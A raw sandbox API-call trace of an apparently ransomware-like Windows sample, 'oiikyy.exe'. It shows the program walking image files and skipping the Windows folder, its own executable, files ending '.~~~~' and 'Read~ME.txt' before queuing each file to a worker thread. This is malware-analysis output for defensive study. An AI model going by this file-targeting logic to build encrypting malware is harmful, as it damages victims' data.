	[0084.900] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a35900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a35900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1
	[0084.900] lstrcmpiW (lpString1="J0145669.JPG", lpString2="Windows") returned -1
	[0084.901] lstrcmpW (lpString1="J0145669.JPG", lpString2="oiikyy.exe") returned -1
	[0084.901] StrStrW (lpFirst="J0145669.JPG", lpSrch=".~~~~") returned 0x0
	[0084.901] lstrcmpW (lpString1="J0145669.JPG", lpString2="Read~ME.txt") returned -1
	[0084.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.901] GetCurrentThreadId () returned 0x618
	[0084.901] RtlWakeConditionVariable () returned 0x365f48
	[0084.901] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a05b300, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a05b300, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1
	[0084.901] lstrcmpiW (lpString1="J0145707.JPG", lpString2="Windows") returned -1
	[0084.901] lstrcmpW (lpString1="J0145707.JPG", lpString2="oiikyy.exe") returned -1
	[0084.901] StrStrW (lpFirst="J0145707.JPG", lpSrch=".~~~~") returned 0x0
	[0084.901] lstrcmpW (lpString1="J0145707.JPG", lpString2="Read~ME.txt") returned -1
	[0084.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.901] GetCurrentThreadId () returned 0x618
	[0084.901] RtlWakeConditionVariable () returned 0x365f48
	[0084.901] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50dbc900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50dbc900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1
	[0084.901] lstrcmpiW (lpString1="J0145810.JPG", lpString2="Windows") returned -1
	[0084.901] lstrcmpW (lpString1="J0145810.JPG", lpString2="oiikyy.exe") returned -1
	[0084.901] StrStrW (lpFirst="J0145810.JPG", lpSrch=".~~~~") returned 0x0
	[0084.901] lstrcmpW (lpString1="J0145810.JPG", lpString2="Read~ME.txt") returned -1
	[0084.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.901] GetCurrentThreadId () returned 0x618
	[0084.901] RtlWakeConditionVariable () returned 0x365f48
	[0084.901] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d84e00, ftCreationTime.dwHighDateTime=0x1c026b6, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5d84e00, ftLastWriteTime.dwHighDateTime=0x1c026b6, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1
	[0084.901] lstrcmpiW (lpString1="J0145879.JPG", lpString2="Windows") returned -1
	[0084.902] lstrcmpW (lpString1="J0145879.JPG", lpString2="oiikyy.exe") returned -1
	[0084.902] StrStrW (lpFirst="J0145879.JPG", lpSrch=".~~~~") returned 0x0
	[0084.902] lstrcmpW (lpString1="J0145879.JPG", lpString2="Read~ME.txt") returned -1
	[0084.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.902] GetCurrentThreadId () returned 0x618
	[0084.902] RtlWakeConditionVariable () returned 0x365f48
	[0084.902] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7962500, ftCreationTime.dwHighDateTime=0x1c03d89, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7962500, ftLastWriteTime.dwHighDateTime=0x1c03d89, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1
	[0084.902] lstrcmpiW (lpString1="J0145895.JPG", lpString2="Windows") returned -1
	[0084.902] lstrcmpW (lpString1="J0145895.JPG", lpString2="oiikyy.exe") returned -1
	[0084.902] StrStrW (lpFirst="J0145895.JPG", lpSrch=".~~~~") returned 0x0
	[0084.902] lstrcmpW (lpString1="J0145895.JPG", lpString2="Read~ME.txt") returned -1
	[0084.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.902] GetCurrentThreadId () returned 0x618
	[0084.902] RtlWakeConditionVariable () returned 0x365f48
	[0084.902] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912cb00, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa912cb00, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1
	[0084.902] lstrcmpiW (lpString1="J0145904.JPG", lpString2="Windows") returned -1
	[0084.902] lstrcmpW (lpString1="J0145904.JPG", lpString2="oiikyy.exe") returned -1
	[0084.902] StrStrW (lpFirst="J0145904.JPG", lpSrch=".~~~~") returned 0x0
	[0084.902] lstrcmpW (lpString1="J0145904.JPG", lpString2="Read~ME.txt") returned -1
	[0084.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.902] GetCurrentThreadId () returned 0x618
	[0084.902] RtlWakeConditionVariable () returned 0x365f48
	[0084.902] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1
	[0084.903] lstrcmpiW (lpString1="J0146142.JPG", lpString2="Windows") returned -1
	[0084.903] lstrcmpW (lpString1="J0146142.JPG", lpString2="oiikyy.exe") returned -1
	[0084.903] StrStrW (lpFirst="J0146142.JPG", lpSrch=".~~~~") returned 0x0
	[0084.903] lstrcmpW (lpString1="J0146142.JPG", lpString2="Read~ME.txt") returned -1
	[0084.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.903] GetCurrentThreadId () returned 0x618
	[0084.903] RtlWakeConditionVariable () returned 0x365f48
	[0084.903] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1
	[0084.903] lstrcmpiW (lpString1="J0148309.JPG", lpString2="Windows") returned -1
	[0084.903] lstrcmpW (lpString1="J0148309.JPG", lpString2="oiikyy.exe") returned -1
	[0084.903] StrStrW (lpFirst="J0148309.JPG", lpSrch=".~~~~") returned 0x0
	[0084.903] lstrcmpW (lpString1="J0148309.JPG", lpString2="Read~ME.txt") returned -1
	[0084.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.903] GetCurrentThreadId () returned 0x618
	[0084.903] RtlWakeConditionVariable () returned 0x365f48
	[0084.903] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1
	[0084.903] lstrcmpiW (lpString1="J0148757.JPG", lpString2="Windows") returned -1
	[0084.903] lstrcmpW (lpString1="J0148757.JPG", lpString2="oiikyy.exe") returned -1
	[0084.903] StrStrW (lpFirst="J0148757.JPG", lpSrch=".~~~~") returned 0x0
	[0084.903] lstrcmpW (lpString1="J0148757.JPG", lpString2="Read~ME.txt") returned -1
	[0084.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.904] GetCurrentThreadId () returned 0x618
	[0084.904] RtlWakeConditionVariable () returned 0x365f48
	[0084.904] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x955d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1
	[0084.904] lstrcmpiW (lpString1="J0148798.JPG", lpString2="Windows") returned -1
	[0084.904] lstrcmpW (lpString1="J0148798.JPG", lpString2="oiikyy.exe") returned -1
	[0084.904] StrStrW (lpFirst="J0148798.JPG", lpSrch=".~~~~") returned 0x0
	[0084.904] lstrcmpW (lpString1="J0148798.JPG", lpString2="Read~ME.txt") returned -1
	[0084.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.904] GetCurrentThreadId () returned 0x618
	[0084.904] RtlWakeConditionVariable () returned 0x365f48
	[0084.904] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149018.JPG", cAlternateFileName="")) returned 1
	[0084.904] lstrcmpiW (lpString1="J0149018.JPG", lpString2="Windows") returned -1
	[0084.904] lstrcmpW (lpString1="J0149018.JPG", lpString2="oiikyy.exe") returned -1
	[0084.904] StrStrW (lpFirst="J0149018.JPG", lpSrch=".~~~~") returned 0x0
	[0084.904] lstrcmpW (lpString1="J0149018.JPG", lpString2="Read~ME.txt") returned -1
	[0084.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.904] GetCurrentThreadId () returned 0x618
	[0084.904] RtlWakeConditionVariable () returned 0x365f48
	[0084.905] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149118.JPG", cAlternateFileName="")) returned 1
	[0084.905] lstrcmpiW (lpString1="J0149118.JPG", lpString2="Windows") returned -1
	[0084.905] lstrcmpW (lpString1="J0149118.JPG", lpString2="oiikyy.exe") returned -1
	[0084.905] StrStrW (lpFirst="J0149118.JPG", lpSrch=".~~~~") returned 0x0
	[0084.905] lstrcmpW (lpString1="J0149118.JPG", lpString2="Read~ME.txt") returned -1
	[0084.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.905] GetCurrentThreadId () returned 0x618
	[0084.905] RtlWakeConditionVariable () returned 0x365f48
	[0084.905] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb544, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0150150.WMF", cAlternateFileName="")) returned 1
	[0084.905] lstrcmpiW (lpString1="J0150150.WMF", lpString2="Windows") returned -1
	[0084.905] lstrcmpW (lpString1="J0150150.WMF", lpString2="oiikyy.exe") returned -1
	[0084.905] StrStrW (lpFirst="J0150150.WMF", lpSrch=".~~~~") returned 0x0
	[0084.905] lstrcmpW (lpString1="J0150150.WMF", lpString2="Read~ME.txt") returned -1
	[0084.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.905] GetCurrentThreadId () returned 0x618
	[0084.905] RtlWakeConditionVariable () returned 0x365f48
	[0084.906] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0150861.WMF", cAlternateFileName="")) returned 1
	[0084.906] lstrcmpiW (lpString1="J0150861.WMF", lpString2="Windows") returned -1
	[0084.906] lstrcmpW (lpString1="J0150861.WMF", lpString2="oiikyy.exe") returned -1
	[0084.906] StrStrW (lpFirst="J0150861.WMF", lpSrch=".~~~~") returned 0x0
	[0084.906] lstrcmpW (lpString1="J0150861.WMF", lpString2="Read~ME.txt") returned -1
	[0084.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.906] GetCurrentThreadId () returned 0x618
	[0084.906] RtlWakeConditionVariable () returned 0x365f48
	[0084.906] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1104, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151041.WMF", cAlternateFileName="")) returned 1
	[0084.906] lstrcmpiW (lpString1="J0151041.WMF", lpString2="Windows") returned -1
	[0084.906] lstrcmpW (lpString1="J0151041.WMF", lpString2="oiikyy.exe") returned -1
	[0084.906] StrStrW (lpFirst="J0151041.WMF", lpSrch=".~~~~") returned 0x0
	[0084.906] lstrcmpW (lpString1="J0151041.WMF", lpString2="Read~ME.txt") returned -1
	[0084.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.906] GetCurrentThreadId () returned 0x618
	[0084.906] RtlWakeConditionVariable () returned 0x365f48
	[0084.906] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151045.WMF", cAlternateFileName="")) returned 1
	[0084.906] lstrcmpiW (lpString1="J0151045.WMF", lpString2="Windows") returned -1
	[0084.906] lstrcmpW (lpString1="J0151045.WMF", lpString2="oiikyy.exe") returned -1
	[0084.906] StrStrW (lpFirst="J0151045.WMF", lpSrch=".~~~~") returned 0x0
	[0084.906] lstrcmpW (lpString1="J0151045.WMF", lpString2="Read~ME.txt") returned -1
	[0084.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.907] GetCurrentThreadId () returned 0x618
	[0084.907] RtlWakeConditionVariable () returned 0x365f48
	[0084.907] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4844, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151047.WMF", cAlternateFileName="")) returned 1
	[0084.907] lstrcmpiW (lpString1="J0151047.WMF", lpString2="Windows") returned -1
	[0084.907] lstrcmpW (lpString1="J0151047.WMF", lpString2="oiikyy.exe") returned -1
	[0084.907] StrStrW (lpFirst="J0151047.WMF", lpSrch=".~~~~") returned 0x0
	[0084.907] lstrcmpW (lpString1="J0151047.WMF", lpString2="Read~ME.txt") returned -1
	[0084.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.907] GetCurrentThreadId () returned 0x618
	[0084.907] RtlWakeConditionVariable () returned 0x365f48
	[0084.907] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151055.WMF", cAlternateFileName="")) returned 1
	[0084.908] lstrcmpiW (lpString1="J0151055.WMF", lpString2="Windows") returned -1
	[0084.909] lstrcmpW (lpString1="J0151055.WMF", lpString2="oiikyy.exe") returned -1
	[0084.909] StrStrW (lpFirst="J0151055.WMF", lpSrch=".~~~~") returned 0x0
	[0084.909] lstrcmpW (lpString1="J0151055.WMF", lpString2="Read~ME.txt") returned -1
	[0084.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.909] GetCurrentThreadId () returned 0x618
	[0084.909] RtlWakeConditionVariable () returned 0x365f48
	[0084.909] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151061.WMF", cAlternateFileName="")) returned 1
	[0084.909] lstrcmpiW (lpString1="J0151061.WMF", lpString2="Windows") returned -1
	[0084.909] lstrcmpW (lpString1="J0151061.WMF", lpString2="oiikyy.exe") returned -1
	[0084.909] StrStrW (lpFirst="J0151061.WMF", lpSrch=".~~~~") returned 0x0
	[0084.909] lstrcmpW (lpString1="J0151061.WMF", lpString2="Read~ME.txt") returned -1
	[0084.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.909] GetCurrentThreadId () returned 0x618
	[0084.909] RtlWakeConditionVariable () returned 0x365f48
	[0084.909] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151063.WMF", cAlternateFileName="")) returned 1
	[0084.909] lstrcmpiW (lpString1="J0151063.WMF", lpString2="Windows") returned -1
	[0084.909] lstrcmpW (lpString1="J0151063.WMF", lpString2="oiikyy.exe") returned -1
	[0084.909] StrStrW (lpFirst="J0151063.WMF", lpSrch=".~~~~") returned 0x0
	[0084.909] lstrcmpW (lpString1="J0151063.WMF", lpString2="Read~ME.txt") returned -1
	[0084.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.909] GetCurrentThreadId () returned 0x618
	[0084.910] RtlWakeConditionVariable () returned 0x365f48
	[0084.910] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3394, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151067.WMF", cAlternateFileName="")) returned 1
	[0084.910] lstrcmpiW (lpString1="J0151067.WMF", lpString2="Windows") returned -1
	[0084.910] lstrcmpW (lpString1="J0151067.WMF", lpString2="oiikyy.exe") returned -1
	[0084.910] StrStrW (lpFirst="J0151067.WMF", lpSrch=".~~~~") returned 0x0
	[0084.910] lstrcmpW (lpString1="J0151067.WMF", lpString2="Read~ME.txt") returned -1
	[0084.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.910] GetCurrentThreadId () returned 0x618
	[0084.910] RtlWakeConditionVariable () returned 0x365f48
	[0084.910] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3418, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151073.WMF", cAlternateFileName="")) returned 1
	[0084.910] lstrcmpiW (lpString1="J0151073.WMF", lpString2="Windows") returned -1
	[0084.910] lstrcmpW (lpString1="J0151073.WMF", lpString2="oiikyy.exe") returned -1
	[0084.910] StrStrW (lpFirst="J0151073.WMF", lpSrch=".~~~~") returned 0x0
	[0084.910] lstrcmpW (lpString1="J0151073.WMF", lpString2="Read~ME.txt") returned -1
	[0084.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.910] GetCurrentThreadId () returned 0x618
	[0084.910] RtlWakeConditionVariable () returned 0x365f48
	[0084.910] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151581.WMF", cAlternateFileName="")) returned 1
	[0084.910] lstrcmpiW (lpString1="J0151581.WMF", lpString2="Windows") returned -1
	[0084.910] lstrcmpW (lpString1="J0151581.WMF", lpString2="oiikyy.exe") returned -1
	[0084.910] StrStrW (lpFirst="J0151581.WMF", lpSrch=".~~~~") returned 0x0
	[0084.910] lstrcmpW (lpString1="J0151581.WMF", lpString2="Read~ME.txt") returned -1
	[0084.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.911] GetCurrentThreadId () returned 0x618
	[0084.911] RtlWakeConditionVariable () returned 0x365f48
	[0084.911] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152414.WMF", cAlternateFileName="")) returned 1
	[0084.911] lstrcmpiW (lpString1="J0152414.WMF", lpString2="Windows") returned -1
	[0084.911] lstrcmpW (lpString1="J0152414.WMF", lpString2="oiikyy.exe") returned -1
	[0084.911] StrStrW (lpFirst="J0152414.WMF", lpSrch=".~~~~") returned 0x0
	[0084.911] lstrcmpW (lpString1="J0152414.WMF", lpString2="Read~ME.txt") returned -1
	[0084.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.911] GetCurrentThreadId () returned 0x618
	[0084.911] RtlWakeConditionVariable () returned 0x365f48
	[0084.911] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152430.WMF", cAlternateFileName="")) returned 1
	[0084.911] lstrcmpiW (lpString1="J0152430.WMF", lpString2="Windows") returned -1
